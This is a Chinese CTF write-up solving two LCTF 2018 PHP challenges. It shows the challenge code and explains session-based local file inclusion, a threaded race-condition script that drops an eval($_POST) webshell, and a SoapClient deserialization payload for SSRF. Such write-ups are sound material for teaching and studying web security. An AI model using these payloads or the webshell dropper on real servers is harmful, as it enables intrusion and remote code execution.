0x01 bestphp1
首先贴出这道题的源代码
<html>
<head>
<title>BabyPHP</title>
<meta charset='UTF-8'>
</head>
<body>
<form action='#' method='post'>
Please input your name:<input type='text' name='name' />
<input type='submit' value='submit' />
</form>
</body>
</html>
<?php
session_start();
highlight_file(__FILE__);
ini_set('open_basedir', '/www/admin/localhost_80/wwwroot:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func, $_GET);
include($file);
$_SESSION['name']=$_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
我们下来分析一下题目,首先是开启了session_start
其中有个call_user_func
可以执行相关的函数,而且两个参数我们都可以控制,接下来还有一个文件包含,我们这儿首先想到的就是extract变量覆盖,然后包含我们想要的文件~~
我们下来读取一下文中提到的functinon.php和admin.php
http://127.0.0.1/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php
解码得到admin.php
hello admin
<?php
if (empty($_SESSION['name'])) {
session_start();
}else{
die('you must login with admin');
}
然后再读取function.php
<?php
function filters($data){
foreach ($data as $key => $value) { if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i', $value)){
die('Do not hack me!');
}
}
}
两个php文件其实没多大的作用
题解
由于题目中有session和文件包含所以我们首先想到的就是session+LFI,而且题目中会将我们的name参数写进session中
但是目前的一个问题是我们不知道session文件保存的位置,这是最主要的麻烦,我们查看session_start相关的参数,
由于之前有一个call_user_func
,所以我们可以重新指定session保存的位置,题目中指定了open_basedir
在根目录下和/tmp目录下,那我们就直接让session保存在/tmp目录下就行了~~
?function=session_start&save_path=/tmp
payload1:
curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp
这儿说明一下<?=phpinfo;?>
,这个相当于<?php echo phpinfo();?>
然后我们直接包含就行了
?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7
借来下的步骤就是读取flag之类的,我就不演示了
payload2:
由于这儿有个name
参数可以让我们把恶意参数写进去,那假设这儿没有name
参数呢?
我们可以使用PHP_SESSION_UPLOAD_PROGRESS+LFI
结合条件竞争来进行getshell
贴出exp
#!coding:utf-8
import requests
import time
import threading
host = 'http://192.168.130.129'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt' #随便填入的PHPSESSID
def creatSession():
while True:
files={'file': ('tgao.txt','f')}
data = {"PHP_SESSION_UPLOAD_PROGRESS" : """<?php $c=fopen('/tmp/shell.php','w');fwrite($c,'<?php eval($_POST["f"]);?>');?>""" } #修改要写入的内容
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
r = requests.post(host+'/lfi.php',files = files,headers = headers,data=data) #这儿的host只需要一个能打开的url就行
fileName = "/tmp/sess_"+PHPSESSID #前提是必须知道session的储存路径
if __name__ == '__main__':
url = "{}?function=extract&file={}".format(host,fileName) #修改文件包含的地方
headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
t = threading.Thread(target=creatSession,args=())
t.setDaemon(True)
t.start()
while True:
res = requests.get(url,headers=headers)
if 'tgao.txt' in res.text:
print("[*] Get shell success.")
break
else:
print("[-] retry.")
然后我们再包含这个shell.php就行了~~
http://127.0.0.1/?function=extract&file=/tmp/shell.php
这儿再说一下我的小意外,我上传了shell.php再/tmp下,但是我去目录里面找,死活找不到,后来才发现问题,由于这儿本地环境是用的phpstudy,而phpstudy是在docker里面,所以这个文件不是按照php特定的目录中,而是在docker里面~~
0x02 bestphp’s revenge
首先贴出题目代码~~
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
flag.php
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; }
only localhost can get flag!
很明显的一道ssrf的题目~~ 那我们如何构造127.0.0.1访问flag.php,然后把flag写进session中呢? 我们直接想到了soapclient,那我们在哪儿反序列化呢,又在哪儿调用这个soapclient呢? 我们看一下题目,
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
这儿可以将我们想要的东西写进session中,而且这道题目又开启了session,而且还有call_user_func,那么这就很明显了,我们可以控制session的反序列化方式
/?f=session_start
serialize_handler=php
然后我们通过name参数上传soapclient的序列化后的代码。然后会自动反序列化我们的session,所以便可以得到一个soapclient类~~
那我们如何调用这个类呢?我们知道__call这个魔法函数,当调用一个不可访问的方法时就会触发__call,我们又看题目,
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
为什么有一个数组,而且第二个还是一个字符串,我们知道`reset($_SESSION)`就是指定session中第一个值,而第一个值就是我们反序列化后得到soaplient类,所以这个字符串就相当于soapclient中不存在的方法,那我们又如何调用这个呢? 下面有一句call_user_func,那么答案就很明显了,我们通过变量覆盖控制\$b为call_user_func,然后就可以让soapclient调用`'welcome_to_the_lctf2018'`了,进而调用__call,进而访问/flag.php,将flag写进soapclient中的session
贴出构造soapclient的代码~~
<?php
$target = 'http://127.0.0.1/flag.php';
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=majian; PHPSESSID=fuck0' );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);
?>
payload
这一步是改变session储存是的序列化方式,然后将soaplient的序列化写进session中~~
这一步是变量覆盖,然后调用soapclient中不存在的方法,进而调用魔法函数__call,从而ssrf,将flag写进soapclient中的session,最后改一下session就可以看见flag了~~